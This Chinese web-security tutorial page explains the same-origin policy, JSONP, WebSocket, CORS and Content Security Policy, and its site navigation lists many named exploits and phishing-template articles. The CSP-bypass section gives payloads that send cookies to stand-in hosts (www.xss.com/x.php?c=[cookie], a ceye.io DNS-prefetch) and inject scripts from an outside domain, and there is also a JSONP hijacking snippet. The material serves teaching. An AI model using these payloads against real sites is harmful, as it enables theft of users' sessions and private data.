黑客街 黑客街 黑客街 黑客街
  • 职业导航
    • CTF
    • 程序员
  • 黑客推荐
  • 漏洞平台
    • Src众测
    • 国内平台
    • 国外平台
    • 乌云镜像站
  • 安全街
    • 安全资讯
    • 安全峰会
    • 区块链安全
    • 安全团队
    • 交流社区
    • 安全博客
    • PC安全
    • 服务器安全
  • 安全在线
    • 安全思维脑图
    • 在线学习
    • CTF
    • 实战靶场
    • 教育培训
  • 安全感知
    • 威胁情报
    • 勒索病毒
    • 文件分析
    • 被黑统计
  • 黑客神器
    • 搜索引擎
    • 加解密
    • ip检测
    • 短信接码
    • 邮箱伪造
    • web漏洞检测
    • web查询
    • 指纹识别
    • 二进制
  • APT
    • 学习哟
    • 信息收集
    • 木马免杀
    • 流量代理
    • 横向渗透
    • 远程控制
  • 墙外翻
    • 搜索
    • 暗网
    • 影频
  • 黑客工具
    • 综合工具
    • 代理隧道
    • webshell管理
黑客街 黑客街
  • 首页
  • 漏洞库
  • 街头小贩
  • 安全聚合
  • 安全博客
  • 黑客小镇
    • 匿名代理追踪
    • 杀软对比查询
    • 匿名聊天室
    • 反弹shell
    • 密码查
  • 行业导航
    • 程序员导航
    • CTF导航
    • 安全书籍
    • 娱乐导航
    • 自定义导航
  • 更多
    • 商务合作
    • 关于本站
    • 我有好建议
    • 申请收录

漏洞库

OA
    万户
    • 万户OA download_old.jsp 任意文件下载漏洞
    • 万户OA download_ftp.jsp 任意文件下载漏洞
    • 万户OA fileUpload.controller 任意文件上传漏洞
    • 万户OA showResult.action 后台SQL注入漏洞
    • 万户OA downloadhttp.jsp 任意文件下载漏洞
    • 万户OA smartUpload.jsp 任意文件上传漏洞
    泛微
    • 泛微OA E-cology <= 9.0 WorkflowServiceXml RCE
    • 泛微OA DBconfigReader.jsp 数据库配置信息泄漏漏洞
    • 泛微OA E-Bridge saveYZJFile 任意文件读取漏洞
    • 泛微OA E-Cology BshServlet 远程代码执行漏洞 CNVD-2019-32204
    • 泛微OA WorkflowCenterTreeData SQL注入漏洞
    • 泛微OA weaver.common.Ctrl 任意文件上传漏洞
    • 泛微OA V9 uploadOperation.jsp 任意文件上传
    • 泛微OA sysinterfacecodeEdit.jsp 任意文件上传漏洞
    • 泛微OA V8 ln.FileDownload 任意文件读取漏洞
    • 泛微OA V8 getdata.jsp SQL注入漏洞
    • 泛微OA E-Weaver SignatureDownLoad 任意文件读取漏洞
    • 泛微OA E-Office UserSelect 未授权访问漏洞
    • 泛微OA E-Office UploadFile.php 任意文件上传漏洞 CNVD-2021-49104
    • 泛微OA E-Office officeserver.php 任意文件读取漏洞
    • 泛微OA E-Office mysql_config.ini 数据库信息泄漏漏洞
    • 泛微OA E-Office group_xml.php SQL注入漏洞
    • 泛微OA E-Cology users.data 敏感信息泄漏
    • 泛微OA E-Cology LoginSSO.jsp SQL注入漏洞 CNVD-2021-33202
    • 泛微OA E-Cology HrmCareerApplyPerView.jsp SQL注入漏洞
    • 泛微OA E-Cology getSqlData SQL注入漏洞
    通达
    • 通达OA 部分漏洞信息整合
    • 通达OA v2014 get_contactlist.php 敏感信息泄漏漏洞
    • 通达OA-v2017-action_upload.php-任意文件上传漏洞
    • 通达OA v2017 video_file.php 任意文件下载漏洞
    • 通达OA v11.2 upload.php 后台任意文件上传漏洞
    • 通达OA v11.5 login_code.php 任意用户登录
    • 通达OA v11.5-8 logincheck_code.php 登陆绕过漏洞
    • 通达OA v11.5 swfupload_new.php SQL注入漏洞
    • 通达OA v11.6 print.php 任意文件删除&RCE
    • 通达OA v11.6 report_bi.func.php SQL注入漏洞
    • 通达OA v11.7 auth_mobi.php 在线用户登录漏洞
    • 通达OA v11.7 delete_cascade.php 后台SQL注入
    • 通达OA v11.8 api.ali.php 任意文件上传漏洞
    • 通达OA v11.8 getway.php 远程文件包含漏洞
    • 通达OA v11.8 update.php 后台文件包含XSS漏洞
    • 通达OA v11.8 update.php 后台文件包含命令执行漏洞
    • 通达OA v11.9 upsharestatus 后台SQL注入漏洞
    致远
    • 致远OA A6 config.jsp 敏感信息泄漏漏洞
    • 致远OA A6 createMysql.jsp 数据库敏感信息泄露
    • 致远OA A6 DownExcelBeanServlet 用户敏感信息泄露
    • 致远OA A6 initDataAssess.jsp 用户敏感信息泄露
    • 致远OA A6 setextno.jsp SQL注入漏洞
    • 致远OA A6 test.jsp SQL注入漏洞
    • 致远OA A8 htmlofficeservlet 任意文件上传漏洞
    • 致远OA A8 status.jsp 信息泄露漏洞
    • 致远OA ajax.do 任意文件上传 CNVD-2021-01627
    • 致远OA ajax.do上传文件漏洞
    • 致远OA getSessionList.jsp Session泄漏漏洞
    • 致远OA webmail.do 任意文件下载 CNVD-2020-62422
    • 致远OA 前台getshell
    • 致远OA-漏洞小汇总
    • 致远OA 默认密码
    蓝凌
    • 蓝凌OA admin.do JNDI远程命令执行
    • 蓝凌OA custom.jsp 任意文件读取漏洞
    • 蓝凌OA EKP 后台SQL注入漏洞 CNVD-2021-01363
    • 蓝凌OA sysSearchMain.do 远程命令执行漏洞
    • 蓝凌OA treexml.tmpl 远程命令执行漏洞
网络设备漏洞
    D-Link
    • D-Link AC管理系统 默认账号密码
    • D-LINK DAP-2020 webproc 任意文件读取漏洞 CVE-2021-27250
    • D-Link DAR-8000 importhtml.php 远程命令执行漏洞
    • D-Link DCS系列监控 账号密码信息泄露漏洞 CVE-2020-25078
    • D-Link Dir-645 getcfg.php 账号密码泄露漏洞 CVE-2019-17506
    • D-Link DSL-28881A FTP配置错误 CVE-2020-24578
    • D-Link DSL-28881A 信息泄露 CVE-2020-24577
    • D-Link DSL-28881A 未授权访问 CVE-2020-24579
    • D-Link DSL-28881A 远程命令执行 CVE-2020-24581
    • D-Link DSR-250N 万能密码漏洞
    • D-Link ShareCenter DNS-320 system_mgr.cgi 远程命令执行漏洞
    • D-Link DSL-3782 Code execution(CVE-2018-8941)
    • D-Link rce CVE-2019-16920
    小米路由器
    • 小米 路由器 c_upload 远程命令执行漏洞 CVE-2019-18370
    • 小米 路由器 extdisks 任意文件读取漏洞 CVE-2019-18371
    锐捷
    • 锐捷 EG易网关 branch_passw.php 远程命令执行
    • 锐捷 EG易网关 cli.php 远程命令执行漏洞
    • 锐捷 EG易网关 download.php 任意文件读取漏洞
    • 锐捷 EG易网关 phpinfo.view.php 信息泄露漏洞
    • 锐捷 EG易网关 管理员账号密码泄露漏洞
    • 锐捷 ISG 账号密码泄露漏洞
    • 锐捷 NBR 1300G路由器 越权CLI命令执行漏洞
    • 锐捷e.web NBR路由器 远程命令执行漏洞 CNVD-2021-09650
    • 锐捷 RG-UAC 账号密码信息泄露 CNVD-2021-14536
    • 锐捷 Smartweb管理系统 密码信息泄露漏洞
    • 锐捷 SSL VPN 越权访问漏洞
    Tenda
    • Tenda W15E企业级路由器 RouterCfm.cfg 配置文件泄漏漏洞
    • Tenda 11N无线路由器 Cookie 越权访问漏洞
    • Tenda-AX1806路由器多处栈溢出
    • CVE-2018-18708:Tenda路由器缓冲区溢出
    TP-Link
    • TP-Link AC1750 预认证远程代码执行漏洞(CVE-2021-27246)
    • TP-Link TL-WR841N远程代码执行漏洞(CVE-2020-35576)
    • TP-Link WR2041 v1拒绝服务漏洞(CVE-2021-26827)
    • TP-link 栈溢出漏洞(CVE-2021-29302)
    HIKVISION
    • HIKVISION DS/IDS/IPC 等设备 远程命令执行漏洞 CVE-2021-36260
    • HIKVISION 流媒体管理服务器 user.xml 账号密码泄漏漏洞
    • HIKVISION 流媒体管理服务器 后台任意文件读取漏洞 CNVD-2021-14544
    • HIKVISION 视频编码设备接入网关 $DATA 任意文件读取
    • HIKVISION 视频编码设备接入网关 showFile.php 任意文件下载漏洞
    • HIKVISION 联网网关 downdb.php 任意文件读取漏洞
    移动
    • 中国移动 禹路由 ExportSettings.sh 敏感信息泄露漏洞 CNVD-2020-67110
    • 中国移动 禹路由 simple-index.asp 越权访问漏洞 CNVD-2020-55983
    • 中国移动 HG6543C4
    电信
    • 电信 中兴ZXHN F450A网关 默认管理员账号密码漏洞
    • 电信 天翼网关F460 web_shell_cmd.gch 远程命令执行漏洞
    • 电信 网关配置管理系统 login.php SQL注入漏洞
    华为
    • HG659 lib 任意文件读取漏洞
    • DG8045 deviceinfo 信息泄漏漏洞
安全设备漏洞
    维盟
    • Wayos AC集中管理系统默认弱口令 CNVD-2021-00876
    • Wayos 防火墙 后台命令执行漏洞
    • Wayos 防火墙 账号密码泄露漏洞
    启明星辰
    • 启明星辰 天清汉马USG防火墙 逻辑缺陷漏洞
    • 启明星辰 天清汉马USG防火墙 默认口令漏洞
    • 天珣内网安全风险管理与审计系统V6.6.9.5 SQL注入漏洞
    • 天玥运维安全网关Sql注入漏洞
    奇安信
    • 网康 NS-ASG安全网关 cert_download.php 任意文件读取漏洞
    • 网康 下一代防火墙 router 远程命令执行漏洞
    • 网神 下一代极速防火墙 pki_file_download 任意文件读取漏洞
    • 天擎 - 2021年前版本 sql注入
    • 天擎 任意文件上传
    • 网康 (2014年)多个产品通杀漏洞
    深信服
    • 深信服上网行为管理系统多处漏洞(2013年)
    • 应用交付管理系统权限绕过(2012年)
    • SSL VPN Pre Auth 任意密码重置 (2020年)
    • 深信服 SSL VPN - Pre Auth 修改绑定手机 (2020年)
    • 深信服 SSL VPN 解密 (本地)
    • EDR远程命令执行 CNVD-2020-46552
    • 终端检测相应平台(EDR) 任意用户登陆漏洞
    • 终端检测相应平台(EDR) 任意命令执行漏洞(二)
    天融信
    • TopApp-LB enable_tool_debug.php 远程命令执行漏洞
    • opApp-LB 负载均衡系统Sql注入漏洞
    • OPAPP-LB 负载均衡命令执行
    • 数据防泄漏系统越权修改管理员密码
    安恒
    • 明御WEB应用防火墙 report.php 任意用户登录漏洞
    • 数据大脑 API 网关任意密码重置漏洞
    齐治堡垒机
    • (CNVD-2019-09593)齐治堡垒机 ShtermClient-2.1.1 命令执行漏洞
    • (CNVD-2019-17294)齐治堡垒机 后台命令执行漏洞
    • (CNVD-2019-20835)齐治堡垒机 前台远程命令执行漏洞
    • 任意用户登录漏洞 (2020)
    绿盟
    • UTS绕过登录
    • uts信息泄露
    • BAS日志数据安全性分析系统 accountmanage 未授权访问漏洞
    Teleport堡垒机
    • get-file 后台任意文件读取漏洞
    • do-login 任意用户登录漏洞
    H3C
    • IMC dynamiccontent.properties.xhtm 远程命令执行 CNVD-2021-39067
    • SecParh堡垒机 data_provider.php 远程命令执行漏洞
    • SecParh堡垒机 get_detail_view.php 任意用户登录漏洞
    金山
    • 金山 V8 终端安全系统 get_file_content.php 任意文件读取漏洞
    • 金山 V8 终端安全系统 downfile.php 任意文件读取漏洞
    • 金山 V8 终端安全系统 pdf_maker.php 命令执行漏洞
    中远麒麟
    • iAudit堡垒机 get_luser_by_sshport.php 远程命令执行漏洞
应用漏洞
    向日葵
    • 向日葵 check 远程命令执行漏洞 CNVD-2022-10270
    VMware
    • VMware vRealize Operations Manager SSRF漏洞 CVE-2021-21975
    • VMware vCenter vid 任意文件读取漏洞
    • VMware Workspace ONE Access SSTI漏洞 CVE-2022-22954
    • CVE-2021-21972 vCenter Serve 任意文件上传
    • CVE-2021-22005
    • CVE-2021-44228 log4j漏洞
    Chrome
    • Chrome 远程命令执行漏洞
    openssl
    • 心脏滴血漏洞 CVE-2014-0160
    OpenSSH
    • 命令注入漏洞 CVE-2020-15778

渗透测试

应急响应
    第三章 应急响应之实战分析
    • SSH暴力破解
    • (Linux)挖矿木马分析
    • (linux)记一次与挖矿木马的较量
    • (web)记一次Windows下的应急过程
    • (windows)记一次简单的应急响应-驱动人生
    第二章 应急响应之日志分析
    • 数据库日志分析
    • 中间件日志分析
    • 系统日志分析
    第一章. 应急之排查方法
    • Windows 排查方法
    • Linux下排查方法
社工钓鱼
  • 社会工程学攻击
  • 邮件模板
    • 邮件模板-升级办公OA
    • 邮件模板-处罚通知模板
    • 邮件模板-放假通知
    • 邮件模板-学校网络学习平台升级通知
    • 邮件模板-产品升级公告通知
    • 邮件模板-员工涨薪通知
    社会工程学攻击-简单钓鱼文件制作
    • 利用Cobalt strike发送钓鱼邮件
    • Word邮件与 CSV注入
    • 自解压捆绑文件钓鱼
    社工钓鱼案例整理
    • 案例1--警惕:最新钓鱼邮件案例分析
    • 案例2–蓝队视角下的“HVV利剑”-钓鱼攻击案例分享与总结
    • 案例3-X站钓鱼邮件应急响应案例分析
    • 案例4-某大型攻防演练中红队钓鱼邮件攻击手法复盘
    • 案例5-币安钓鱼案例参考
    • 案例6-使用新冠疫情发起钓鱼攻击的最新案例
    • 案例7-上海交通大学案例参考
    • 案例8-钓鱼邮件模板
    • 案例9-上海理工大学案例参考
    • 案例10-钓鱼邮件常见小技巧
Web常见漏洞
  • Web常见漏洞描述及修复建议
  • Web漏洞集
    • SQL注入漏洞基本原理
    • 任意文件下载
    • 敏感文件
    • 文件包含
    • 文件上传
    • 命令执行rce
    • 代码执行
    • XML外部实体注入
    • 逻辑漏洞
      • 验证码逻辑
      • 支付漏洞
      • 越权访问
      • 会话劫持
      • 会话重放漏洞
      • 会话固定
      • 任意用户密码重置
      未授权访问
      • 常见的未授权访问漏洞
      • Redis未授权访问
      • MongoDB 未授权访问
      • Memcached 未授权访问
      • Zookeeper未授权访问
      • Rsync 未授权访问漏洞
      • Docker未授权访问
      • Jenkins未授权访问
      • Hadoop 未授权访问
      • JBOSS未授权访问漏洞
      • Druid未授权访问
      信息泄露
      • 敏感信息泄漏
      • 备份文件泄露
      • .DS_Store源码泄露
      • CVS泄漏
      • .hg源码泄漏
      • .SVN源码泄露
      • .Git源码泄露
      浏览器域
      • 同源策略-Jsonp劫持-CORS跨域
      • XSS跨站
      • CSRF
      • SSRF
  • Home
  • 知识文库
  • 渗透测试
  • Web常见漏洞
  • Web漏洞集
  • 浏览器域
  • 同源策略-Jsonp劫持-CORS跨域

同源策略-Jsonp劫持-CORS跨域

目录
  • JSONP
    • JSONP的劫持
    • JSONP防御
  • WebSocket
  • CORS(重点)
    • 简单请求
    • 非简单请求
    • 与JSONP的比较
  • CSP是什么?如何设置CSP?
    • 绕过CSP(1、2、3、5 重点)

同源策略是目前所有浏览器都实行的一种安全政策。

A网页设置的 Cookie,B网页不能打开,除非这两个网页同源。

所谓同源,是指:

两个网页,协议(protocol)、端口(port)、和主机(host)都相同.

如果非同源,以下三种行为受到限制:

(1) Cookie、LocalStorage 和 IndexDB 无法读取。

(2) DOM 无法获得。

(3) AJAX 请求不能发送。

同源策略,哪些东西是同源可以获取到的?

cookie: 服务器写入浏览器的一小段信息,只有同源的网页才能共享

DOM: 如果两个网页不同源,就无法拿到对方的DOM ; 典型的例子是iframe窗口和window.open方法打开的窗口,它们与父窗口无法通信

如果子域名和顶级域名不同源,在哪里可以设置叫他们同源?

两个网页一级域名相同,只是二级域名不同,浏览器允许通过设置document.domain属性共享 Cookie,拿到DOM等。

在根域范围内,可以 把domain属性的值设置为它的上一级域 ;

// 对于文档 www.example.com/good.html,
document.domain = "example.com";
var domain = document.domain;
//上边的写法是正确的
//但不能设置为 "example.com" 或者"example.org"

Ajax是否遵循同源策略?

同源政策规定,AJAX请求只能发给同源的网址,否则就报错

不同浏览器之间,安全策略有哪些不同?比如chrome,firefox,IE

当涉及到同源策略时,Internet Explorer 有两个主要的不同点

  • 授信范围(Trust Zones):两个相互之间高度互信的域名,如公司域名(corporate domains),不遵守同源策略的限制。
  • 端口:IE 未将端口号加入到同源策略的组成部分之中,
  • 因此 http://company.com:81/index.html 和 http://company.com/index.html 属于同源并且不受任何限制

如何规避同源策略?

以下三种方法可以规避同源策略的限制
JSONP
CORS
WebSocket

JSONP #

JSONP是服务器与客户端跨源通信的常用方法

JSON with Padding,填充式JSON或者说是参数式JSON

JSONP原理就是动态插入带有跨域url的<script>标签,然后调用回调函数

基本语法如下:

callback({ "name": "wintrysec" , "msg": "获取成功" });

 

JSONP两部分组成:回调函数和里面的数据。 回调函数是当响应到来时,应该在页面中调用的函数,一般是在发送过去的请求中指定

向服务器请求JSON数据,这种做法不受同源政策限制;服务器收到请求后,将数据放在一个指定名字的回调函数里传回来

function addScriptTag(src) {
  var script = document.createElement('script');
  script.setAttribute("type","text/javascript");
  script.src = src;
  document.body.appendChild(script);
}

window.onload = function () {
  addScriptTag('http://example.com/ip?callback=foo');
}

function foo(data) {
  console.log('Your public IP address is: ' + data.ip);
};
//该请求的查询字符串有一个callback参数,用来指定回调函数的名字,这对于JSONP是必需的

服务器收到这个请求以后,会将数据放在回调函数的参数位置返回

foo({
  "ip": "8.8.8.8"
});

由于<script>元素请求的脚本,直接作为代码运行。

这时,只要浏览器定义了foo函数,该函数就会立即调用。

作为参数的JSON数据被视为JavaScript对象,而不是字符串,因此避免了使用JSON.parse的步骤

JSONP的劫持 #

JSON 劫持又为 JSON Hijacking ,这个问题属于 CSRF 攻击范畴。 当某网站通过 JSONP 的方式来跨域(一般为子域)传递用户认证后的敏感信息时 攻击者可以构造恶意的 JSONP 调用页面,诱导被攻击者访问,来达到截取用户敏感信息的目的

一个典型的 JSON Hijacking 攻击代码(wooyun):

<script>
 function wooyun(v){
   alert(v.username);
 }
 </script>
 <script src="http:/xx.cn/?o=sso&m=info&func=wooyun"></script>

当被攻击者在登陆 360 网站的情况下访问了该网页时,那么用户的隐私数据(如用户名,邮箱等)可能被攻击者劫持

JSONP防御 #

1. 验证 JSON 文件调用的来源 Referer

<script> 远程加载 JSON 文件时会发送 Referer 
 在网站输出 JSON 数据时判断 Referer 是不是白名单合法的,就可以进行防御

2.随机 token

存在reference伪造(qq.com.evil.com)、空reference、暴力穷举等问题

强大的PHP伪造IP头、Cookies、Reference(opens new window)

最有效的方式还是 综合防御(判断reference和添加随机字串),或使用加在url中的token可以完美解决 但是只要在该网站上出现一个 XSS 漏洞,那么利用这个 XSS 漏洞可能让你的防御体系瞬间崩溃

3.callback函数可定义的安全问题 callback函数的名称可以自定义,而输出环境又是js环境,如果没有严格过滤或审查,可以引起很多其他的攻击方式。

比如后台使用$callback = $_GET['callback'];print $callback.(data); 这样子,认为callback是可信的,而攻击者完全可以将alert(/xss/)作为callback参数传递进去。

这种问题有两种解决方案:

(1) 严格定义 Content-Type: application / json 这样的防御机制导致了浏览器不解析恶意插入的 XSS 代码

(2 )过滤 callback 以及 JSON 数据输出 这样的防御机制是比较传统的攻防思维,对输出点进行 xss 过滤

WebSocket #

WebSocket是一种通信协议,使用ws://(非加密)和wss://(加密)作为协议前缀。

该协议不实行同源政策,只要服务器支持,就可以通过它进行跨源通信。

为什么?

WebSocket请求的头信息中有一个字段是Origin,表示该请求的请求源(origin),即发自哪个域名。

正是因为有了Origin这个字段,所以WebSocket才没有实行同源政策。

因为服务器可以根据这个字段,判断是否许可本次通信。

CORS(重点) #

CORS是跨域资源共享(Cross-Origin Resource Sharing)的缩写。

它允许浏览器向跨源服务器,发出XMLHttpRequest(opens new window)请求,从而克服了AJAX只能同源 (opens new window)使用的限制

它是W3C标准,是跨源AJAX请求的根本解决方法。

CORS请求大致和ajax请求类似,但是在HTTP头信息中加上了Origin字段表明请求来自哪个源。

如果orgin是许可范围之内的话,服务器返回的响应会多出Access-Control-Allow-*的字段

简单请求 #

只要同时满足以下两大条件,就属于简单请求。 (1) 请求方法是以下三种方法之一

HEAD

GET

POST

(2) HTTP的头信息不超出以下几种字段:

Accept

Accept-Language

Content-Language

Last-Event-ID

Content-Type:只限于三个值 application/x-www-form-urlencoded、multipart/form-data、text/plain

浏览器发现这次跨源AJAX请求是简单请求,就自动在头信息之中,添加一个Origin字段

GET /cors HTTP/1.1
Origin: http://api.b.com
Host: api.a.com

Origin字段用来说明,本次请求来自哪个源(协议 + 域名 + 端口)
服务器根据这个值,决定是否同意这次请求

简单请求有三个重要的响应头

(1) Access-Control-Allow-Origin

该字段是必须的,它的值要么是请求时Origin字段的值,要么是一个*,表示接受任意域名的请求

(2)Access-Control-Allow-Credentials

该字段可选,它的值是一个布尔值,表示是否允许发送Cookie。

默认情况下,Cookie不包括在CORS请求之中。

设为true,即表示服务器明确许可,Cookie可以包含在请求中,一起发给服务器。

这个值也只能设为true,如果服务器不要浏览器发送Cookie,删除该字段即可

(3) Access-Control-Expose-Headers

该字段可选,CORS请求时,XMLHttpRequest对象的getResponseHeader()方法只能拿到6个基本字段:

Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma。

如果想拿到其他字段,就必须在Access-Control-Expose-Headers里面指定。

例如,getResponseHeader('wintrysec')可以返回wintrysec字段的值

响应字段,可请求资源范围

Access-Control-Allow-Origin:*  //表示同意任意跨源请求

非简单请求 #

即对服务器有特殊要求的请求,比如PUT方法,自定义HTTP-HEAD头部等

非简单请求的CORS请求,会在正式通信之前,增加一次HTTP查询请求,称为"预检"请求

"预检"请求用OPTIONS方法询问服务器允许的方法

"预检"请求的头信息包括两个特殊字段。 (1)Access-Control-Request-Method 该字段是必须的,用来列出浏览器的CORS请求会用到哪些HTTP方法. (2)Access-Control-Request-Headers 指定浏览器CORS请求会额外发送的http头部信息字段,多个字段用逗号分隔

如果浏览器否定了"预检"请求,会返回一个正常的HTTP回应,但是没有任何CORS相关的头信息字段响应

服务器响应的其他CORS相关字段如下:

Access-Control-Allow-Methods: GET, POST, PUT		//服务器支持的所有跨域请求的方法
Access-Control-Allow-Headers: X-Custom-Header		//服务器支持的所有头信息字段
Access-Control-Allow-Credentials: true			//表示是否允许发送Cookie
Access-Control-Max-Age: 1728000				//用来指定本次预检请求的有效期,单位为秒

一旦服务器通过了"预检"请求,以后每次浏览器正常的CORS请求,就都跟简单请求一样,会有一个Origin头信息字段。

服务器的回应,也都会有一个Access-Control-Allow-Origin头信息字段

Github上的一个POC:https://github.com/trustedsec/cors-poc

python3 -m http.server --cgi

与JSONP的比较 #

CORS与JSONP的使用目的相同,但是比JSONP更强大。

JSONP只支持GET请求,CORS支持所有类型的HTTP请求。

JSONP的优势在于支持老式浏览器,以及可以向不支持CORS的网站请求数据。

CSP是什么?如何设置CSP? #

CSP(Content Security Policy)浏览器内容安全策略, 为了缓解部分跨站脚本问题 。

CSP的实质就是白名单机制,对网站加载或执行的资源进行安全策略的控制。

两种方法启用CSP

1. 添加HTTP头信息;
Content-Security-Policy: script-src 'self'; object-src 'none'; style-src cdn.example.org; child-src https:
2. 使用<meta>标签
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org; child-src https:">
参数解释

script-src(脚本):只信任当前域名
object-src(标签):不信任任何URL,即不加载任何资源
样式表:只信任http://cdn.example.org
框架(frame):必须使用HTTPS协议加载

CSP各种限制选项参考:知乎回答 (opens new window),CSP基础语法和绕过

绕过CSP(1、2、3、5 重点) #

1.URL跳转

在default-src 'none'的情况下,可以使用meta标签实现跳转

<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >

在允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过

<script>
  window.location="http://www.xss.com/x.php?c=[cookie]";
</script>

2.link标签预加载

在Firefox下,可以将cookie作为子域名,用dns预解析的方式把cookie带出去,查看dns服务器的日志就能得到cookie

<link rel="dns-prefetch" href="//[cookie].xxx.ceye.io">

3.利用浏览器补全

有些网站限制只有某些脚本才能使用,往往会使用script标签的nonce属性,只有nonce一致的脚本才生效

Content-Security-Policy: default-src 'none';script-src 'nonce-abc'

//CSP设置nonce为abc属性的标签

那么当脚本插入点为如下的情况时

<p>插入点</p>
<script id="aa" nonce="abc">document.write('CSP');</script>

可以插入

<script src=//14.rs a="

这样会拼成一个新的script标签,其中的src可以自由设定

<p><script src=//14.rs a="</p>
<script id="aa" nonce="abc">document.write('CSP');</script>

4.代码重用

假设页面中使用了Jquery-mobile库,并且CSP策略中包含"script-src 'unsafe-eval' "或者"script-src 'strict-dynamic'"

那么下面的向量就可以绕过CSP:

<div data-role=popup id='<script>alert(1)</script>'></div>

5.ifrmae

(1) 如果页面A中有CSP限制,但是页面B中没有,同时A和B同源,那么就可以在A页面中包含B页面来绕过CSP:

<iframe src="B"></iframe>

(2) 在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,

例如"http://xxx"页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库

<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>

6.meta标签

meta标签有一些不常用的功能有时候有奇效: meta可以控制缓存(在header没有设置的情况下),有时候可以用来绕过CSP nonce

<meta http-equiv="cache-control" content="public">

meta可以设置Cookie(Firefox下),可以结合self-xss利用

<meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21 GMT; path=/">

 

What are your Feelings
更新于 2022年10月4日
SSRF
目录
  • JSONP
    • JSONP的劫持
    • JSONP防御
  • WebSocket
  • CORS(重点)
    • 简单请求
    • 非简单请求
    • 与JSONP的比较
  • CSP是什么?如何设置CSP?
    • 绕过CSP(1、2、3、5 重点)
黑客街 黑客街
黑客街导航站是一款努力把互联网安全站点集接到一起,希望为每个小伙伴提供良好的"安全"体验。

街头小贩 匿名追踪 杀软对比

黑客街公众号黑客街

黑客街公众号

我要合作黑客街

我要合作

关于我们 免责说明 商务合作

Copyright © 2022 黑客街   豫ICP备19005024号    站点地图

  
常用
搜索
工具
社区
生活
求职
    热门推荐: